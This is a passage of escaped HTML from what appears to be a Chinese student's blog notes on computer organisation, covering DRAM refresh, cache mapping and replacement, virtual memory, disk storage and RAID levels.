src=\"https://xeonds.github.io/img/Pasted%20image%2020230601074346.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e常用刷新方式:\u003cul\u003e\u003cli\u003e集中式:有概率会遇到死区(不可用时段),因为刷新时间会集中占用一个时段\u003c/li\u003e\u003cli\u003e分布式:更短的刷新周期,将刷新的周期均匀分布到读取时间段。但是内存访问时延变长了\u003c/li\u003e\u003cli\u003e异步式(最常用):$Row\\div T_{Refresh}$得到周期,再在每个周期最后刷新内存。它将刷新安排在指令译码阶段,不会出现死区。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e同步动态存储器SDRAM\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eDDR SDRAM:上升和下降沿都能读写数据。\u003c/p\u003e\u003ch3 id=\"4-2-5-其他存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-5-%E5%85%B6%E4%BB%96%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.2.5.其他存储器\"\u003e\u003c/a\u003e4.2.5.其他存储器\u003c/h3\u003e\u003col\u003e\u003cli\u003e多端口存储器:DS1609,有两个数据端\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601074730.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e多体交叉存储器:并行,提高读写性能\u003c/p\u003e\u003col\u003e\u003cli\u003e多体并行访问:80x86处理器内存组织\u003c/li\u003e\u003cli\u003e多体交叉访问:类似流水线的重复设置瓶颈段的操作,能大大提高性能。连续读m个数据,需要的时间:$T+(m-1)\\cdot \\Delta t$。类比于流水线的加速比,它也有加速比,$B=\\frac{1-(1-\\lambda)^m}{\\lambda}$。标量机中,m取2~8;超量机中,主存分体数可以超过32\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e相联存储器:一种多路选择器构成的Key-Value形式存储器\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602141355.png\"/\u003e\u003c/p\u003e\u003cp\u003e它的用途有:Cache的目录表、页表的块表(TLB)等。\u003c/p\u003e\u003ch2 id=\"4-3-高速缓冲存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-%E9%AB%98%E9%80%9F%E7%BC%93%E5%86%B2%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.3.高速缓冲存储器\"\u003e\u003c/a\u003e4.3.高速缓冲存储器\u003c/h2\u003e\u003cp\u003e它是实现金字塔型存储体系的关键所在。它可以将上一部分频繁使用的部分存放在其中,以此来提高性能(这是因为它本身的速度就很快)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e局部性原理:时间/空间局部性,相关的变量,会在时间/空间上存在局部性比如循环变量,会存在时间局部性;相邻的数组元素,存在空间局部性\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602143757.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是Cache的作用:命中的话,直接使用;未命中Cache,则访问主存,并改动Cache。这一步得注意,由于Cache存在,就出现了数据不一致性,因此得控制好数据写回时机来保证数据一致性。\u003c/p\u003e\u003ch3 id=\"4-3-2-地址映射\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-2-%E5%9C%B0%E5%9D%80%E6%98%A0%E5%B0%84\" class=\"headerlink\" title=\"4.3.2.地址映射\"\u003e\u003c/a\u003e4.3.2.地址映射\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e地址映像\u003c/strong\u003e 就是把主存上的数据按照某种规则装入Cache,并建立主存和Cache地址间的映射。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e地址变换\u003c/strong\u003e 使用Cache中数据之前,必须先把程序从主存地址变换成Cache地址才能使用。\u003c/li\u003e\u003cli\u003e选取地址映射的原则:\u003cul\u003e\u003cli\u003e地址变换硬件要高速、低价、易于实现\u003c/li\u003e\u003cli\u003eCache空间利用率要高\u003c/li\u003e\u003cli\u003e发生\u003cstrong\u003e块冲突\u003c/strong\u003e概率要小\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e这种映射的调度单位是\u003cstrong\u003e块\u003c/strong\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e映射方式一般有三种:\u003cstrong\u003e全相联、直接映射、组相联\u003c/strong\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e全相联:主存的任意一块可以映像到Cache的任意一块(可以认为是完全自由的装法)。具体如下图所示:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602150346.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e直接映射:按照Cache容量对主存分区,一个区的块只能装入一个Cache的对应位置。不过这里得注意,目录不存块号了,存的是区号。块号在Cache开头存着。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602151210.png\"/\u003e\u003c/p\u003e\u003cp\u003e这样的好处就是,不用相联存储器,访问速度也快(不需要地址变换)。不过缺点也很明显:Cache块利用率低,块冲突概率高。特别是,如果主存存储的变量具有空间相关性(比如数组),那这一个Cache位置几乎每次访问都不会命中了。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e组相联:跟上面一样,将主存按Cache总大小分区,每个区内部按照Cache规则分组,每个组中有若干块。具体如下图:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602153928.png\"/\u003e\u003c/p\u003e\u003cp\u003e它是前两者的折中,优点是提高了利用率,降低了冲突率,也大幅降低了失效比率。但是问题是制造成本和难度上升了。\u003c/p\u003e\u003cp\u003e做题时,要解决Cache分块,只需要把主存地址按照每个编号类型的长度来划分就行。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602161840.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-3-3-替换算法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-3-%E6%9B%BF%E6%8D%A2%E7%AE%97%E6%B3%95\" class=\"headerlink\" title=\"4.3.3.替换算法\"\u003e\u003c/a\u003e4.3.3.替换算法\u003c/h3\u003e\u003cp\u003e直接映射不需要替换算法。全相联、组相联有如下几种替换算法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e随机替换算法\u003c/li\u003e\u003cli\u003e先进先出替换算法(FIFO)\u003cul\u003e\u003cli\u003e它还有一个二次机会的版本\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e最不经常使用替换算法(LFU):总的使用频次最少,\u003cstrong\u003e实现困难\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e近期最少使用替换算法(LRU):上一次使用的时间点最晚\u003c/li\u003e\u003cli\u003e最佳替换算法(OPT):预测将来的情况,根据将来的情况替换。作为其他算法的性能基准\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e关于一致性问题有两种策略:写回法,只有Cache被替换时才将它写回;全写/写直达法,写入Cache时顺便写入主存,如果未命中,则直接写主存,然后根据WTWA/WTNWA(写分配/不分配法)来决定是否将块取到Cache。前一种方法高性能,后一种主存一致性好。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602171124.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-3-5-Cache性能分析\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-5-Cache%E6%80%A7%E8%83%BD%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"4.3.5.Cache性能分析\"\u003e\u003c/a\u003e4.3.5.Cache性能分析\u003c/h3\u003e\u003col\u003e\u003cli\u003e加速比\u003cul\u003e\u003cli\u003eCache-主存系统的平均访问时间(周期)$T_A$:\u003cul\u003e\u003cli\u003e$T_A=H\\times T_C + (1-H)\\times T_M$\u003c/li\u003e\u003cli\u003e$T_A=H\\times T_C + (1-H)\\times(T_B+T_C)=T_C+(1-H)\\times T_B$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e其中,$T_C$和$T_M$分别是Cache和主存的访问周期,数据块装入Cache的时间是$T_B$,Cache的命中率为$H$。当命中率很高时,$T_A \\to T_C$。\u003c/p\u003e\u003cp\u003e上面的两个等式,对应的分别是1,2两种情况。第二个式子的考量就是,如果没有命中缓存,则耗时为缓存装入时间加上缓存访问时间。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602200132.png\"/\u003e\u003c/p\u003e\u003cp\u003e例如,假设$H=95%,T_M=100ns,T_C=10ns$,则可得$T_A=14.5ns,S_P=6.9$。其中的$S_P$就是加速比,定义为$S_P=\\frac{T_M}{T_A}$。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e成本\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e$C=(C_1\\times S_1+C_2\\times S_2)/(S_1+S_2)$,也就是主存价格*主存容量+缓存价格*缓存容量\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e命中率与Cache容量的关系:\u003cbr/\u003e$H=1-S^{-0.5}$\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602201118.png\"/\u003e\u003c/p\u003e\u003cp\u003e这给出了Cache容量的合理考虑区间。\u003c/p\u003e\u003col start=\"4\"\u003e\u003cli\u003e命中率与块大小的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602201348.png\"/\u003e\u003c/p\u003e\u003col start=\"5\"\u003e\u003cli\u003e两级Cache\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e未命中率(失效率):$\\text{总失效率}=\\text{失效率}_\\text{第一级} \\times \\text{失效率}_\\text{第二级}$\u003c/p\u003e\u003ch2 id=\"4-4-虚拟存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-4-%E8%99%9A%E6%8B%9F%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.4.虚拟存储器\"\u003e\u003c/a\u003e4.4.虚拟存储器\u003c/h2\u003e\u003cp\u003e高速的主存容量不能满足要求,因此开发出了虚拟存储器(软件实现)。\u003c/p\u003e\u003cp\u003eCPU集成的:Cache,MMU等。这些为主存的实现提供了基础。\u003c/p\u003e\u003cp\u003e虚拟存储器=主存储器+外部存储器+辅助硬件(MMU)+系统软件(OS)。而虚拟地址得先转换成指向真实物理内存的物理地址才能拿来使用(地址转换)。\u003c/p\u003e\u003cp\u003e地址映像:全相联;地址变换:MMU。虚拟存储器相当于内存扩展的一种实现手段,通过将内存映像到磁盘上,模仿Cache的原理,以此扩大主存容量。\u003c/p\u003e\u003cp\u003e这其中涉及三种地址空间:\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚拟地址空间:编程中用到的\u003c/li\u003e\u003cli\u003e主存储器地址空间:物理地址\u003c/li\u003e\u003cli\u003e辅助地址空间:磁盘存储器的地址\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因地址映像和变换方法不同,存储方式分为段式存储、页式存储、段页式存储。\u003c/p\u003e\u003cul\u003e\u003cli\u003e段式存储:每个程序段从0开始编址,长度不定。如下图,把数据分段,再把数据装入内存。对于不常用的段,系统会把它放入磁盘。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603231831.png\"/\u003e\u003c/p\u003e\u003cp\u003e缺点有俩。一个是太慢了。因为得做两次运算;另一个是,页表太大了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e页式虚拟存储器:跟上面一样,分页,页大小固定。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的缺点很明显。当地址空间过大时,它的体积会很大。为了解决这个问题,出现了多级页表。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603232901.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e段页式存储器:先分段,每个段再分页。这需要段表和页表,它们都由操作系统管理。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e由于页表本身很大,因此引入了一个CPU内部的Cache用来存储TLB,而慢表存储在主存中。虚拟地址和Cache地址一样,也是把物理地址转化来得到的。每一个段的大小是4KB,页则是由若干个段构成。段有额外的位用于标记读写执行情况。段内有偏移,页内也有偏移。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意:页/段页都是以页为基础单位来和磁盘交换数据的,只有段式是以段为单位和磁盘交换的。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e页表级数为i,则$\\frac{2^P}{B_e}^i=2^V$,简化得:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ei=\\frac{log_2 2^V}{log_2 2^P-log_2 B^e}=\\frac{V}{P-log_2 B^e}=\\frac{V}{P-N_e}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e其中,$V$是虚页号的位数,$P$是页内偏移的位数,$N_e$是页表每一项需要几位编址。\u003c/p\u003e\u003ch2 id=\"4-5-外存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-5-%E5%A4%96%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.5.外存储器\"\u003e\u003c/a\u003e4.5.外存储器\u003c/h2\u003e\u003cp\u003e磁盘特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e优点:存储容量大,单位价格低、记录介质可重复使用、可长期脱机保存、非破坏性读出\u003c/li\u003e\u003cli\u003e缺点:存取速度慢、机械结构复杂、工作环境要求高\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e磁记录原理\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e写入:磁头通不同方向的电流,就能在磁化材料上留下不同方向的磁场。\u003c/li\u003e\u003cli\u003e读取:原来是磁头切割磁感线,电流方向就是信息。现在是GMR效应,读取使用单独的头,能实现更高的容量。从LMR到垂直记录技术(PMR)的改进也大幅提高了磁盘容量。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e记录方式,和计算机网络中的编码是相似的,有RZ,NRZ,NRZ1,FM,MFM,PM等:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603235144.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是磁盘的结构,一般民用磁盘大气压和外界一样的,高速旋转时,会在表面形成气垫,托起磁头。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603235245.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e硬盘的数据记录格式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e磁盘内部物理地址\u003cul\u003e\u003cli\u003e柱面 \u003cstrong\u003eC\u003c/strong\u003eylinder\u003c/li\u003e\u003cli\u003e记录区 \u003cstrong\u003eH\u003c/strong\u003eead\u003c/li\u003e\u003cli\u003e扇区 \u003cstrong\u003eS\u003c/strong\u003eector\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e结构方面,单个面分为一个一个的环,称为\u003cstrong\u003e磁道(Tracks)\u003c/strong\u003e。几个盘面上的同位置的磁道组合起来称为一个\u003cstrong\u003e柱面(Cyinder)\u003c/strong\u003e。磁盘上一个扇形区域称为一个\u003cstrong\u003e扇区(Sectors)\u003c/strong\u003e。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e主要技术指标\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e道密度:道/mm,道/英寸\u003c/li\u003e\u003cli\u003e位密度:bit/mm,bit/英寸\u003c/li\u003e\u003cli\u003e存储容量\u003cul\u003e\u003cli\u003e非格式化容量=位密度x内圈磁道周长x每个记录面的磁道数x记录面数\u003c/li\u003e\u003cli\u003e格式化容量=每个扇区的字节数x每道扇区数x每个记录面磁道数x记录面数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617192822.png\"/\u003e\u003c/p\u003e\u003cp\u003e存储容量如上,有两种。早期为方便管理,将所有磁道等分为相同的扇区数。\u003cstrong\u003e磁道外圈可靠性最高(因为外圈的词单元尺寸最大,所以最可靠),从外圈开始编号\u003c/strong\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e平均访问时间\u003c/strong\u003e:平均寻道时间+平均等待时间(转半圈的速度)+数据传输时间,是毫秒级别的参数。\u003c/li\u003e\u003cli\u003e转速:RPM(转/分钟)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据传输速率\u003c/strong\u003e:磁头找到数据地址后,单位时间读/写的字节数。计算方法为:$\\text{每个扇区的字节数}\\times\\text{每道扇区数}\\times\\text{磁盘转速}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617194108.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是2001年生产的硬盘参数,能从参数看出磁盘对加工精度的极高要求。下面是一个硬盘容量计算的例题。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617194904.png\"/\u003e\u003c/p\u003e\u003cp\u003e受限于磁盘的物理原理,磁盘的随机访问性能相对比较差。因此,引入了磁盘阵列RAID。\u003c/p\u003e\u003ch4 id=\"4-5-1-磁盘阵列RAID\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-5-1-%E7%A3%81%E7%9B%98%E9%98%B5%E5%88%97RAID\" class=\"headerlink\" title=\"4.5.1.磁盘阵列RAID\"\u003e\u003c/a\u003e4.5.1.磁盘阵列RAID\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e这部分内容了解就行(\u003cdel\u003e不了解也行\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e作用就是通过设置重复设备,来提高整体的性能和可靠性。详细可以看这本书:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195224.png\" alt=\"这俩也是很猛的佬,整了个硅谷出来。MIPS处理器也是他们设计的\"/\u003e\u003c/p\u003e\u003cp\u003eRAID全称呼:独立冗余磁盘阵列(Redundant Array of Independent Disks)。不过刚开始I表示的是Inexpensive,廉价。\u003c/p\u003e\u003ch5 id=\"RAID0:无冗余\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID0%EF%BC%9A%E6%97%A0%E5%86%97%E4%BD%99\" class=\"headerlink\" title=\"RAID0:无冗余\"\u003e\u003c/a\u003eRAID0:无冗余\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195645.png\"/\u003e\u003c/p\u003e\u003cp\u003e性能高,但是可靠性不高。并且需要至少两块硬盘。\u003c/p\u003e\u003ch5 id=\"RAID1:两块盘互为镜像\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID1%EF%BC%9A%E4%B8%A4%E5%9D%97%E7%9B%98%E4%BA%92%E4%B8%BA%E9%95%9C%E5%83%8F\" class=\"headerlink\" title=\"RAID1:两块盘互为镜像\"\u003e\u003c/a\u003eRAID1:两块盘互为镜像\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195818.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID0-1-x2F-RAID01\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID0-1-x2F-RAID01\" class=\"headerlink\" title=\"RAID0+1/RAID01\"\u003e\u003c/a\u003eRAID0+1/RAID01\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195914.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID1-0-x2F-RAID10\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID1-0-x2F-RAID10\" class=\"headerlink\" title=\"RAID1+0/RAID10\"\u003e\u003c/a\u003eRAID1+0/RAID10\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195925.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID2:冗余使用汉明码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID2%EF%BC%9A%E5%86%97%E4%BD%99%E4%BD%BF%E7%94%A8%E6%B1%89%E6%98%8E%E7%A0%81\" class=\"headerlink\" title=\"RAID2:冗余使用汉明码\"\u003e\u003c/a\u003eRAID2:冗余使用汉明码\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195959.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID3:位交错奇偶校验\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID3%EF%BC%9A%E4%BD%8D%E4%BA%A4%E9%94%99%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"RAID3:位交错奇偶校验\"\u003e\u003c/a\u003eRAID3:位交错奇偶校验\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200046.png\"/\u003e\u003c/p\u003e\u003cp\u003e不能并发读写\u003c/p\u003e\u003ch5 id=\"RAID4:块级奇偶校验\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID4%EF%BC%9A%E5%9D%97%E7%BA%A7%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"RAID4:块级奇偶校验\"\u003e\u003c/a\u003eRAID4:块级奇偶校验\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200221.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以并发读取,不过不能并发写入。\u003c/p\u003e\u003ch5 id=\"RAID5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID5\" class=\"headerlink\" title=\"RAID5\"\u003e\u003c/a\u003eRAID5\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200316.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID6\"\u003e\u003ca 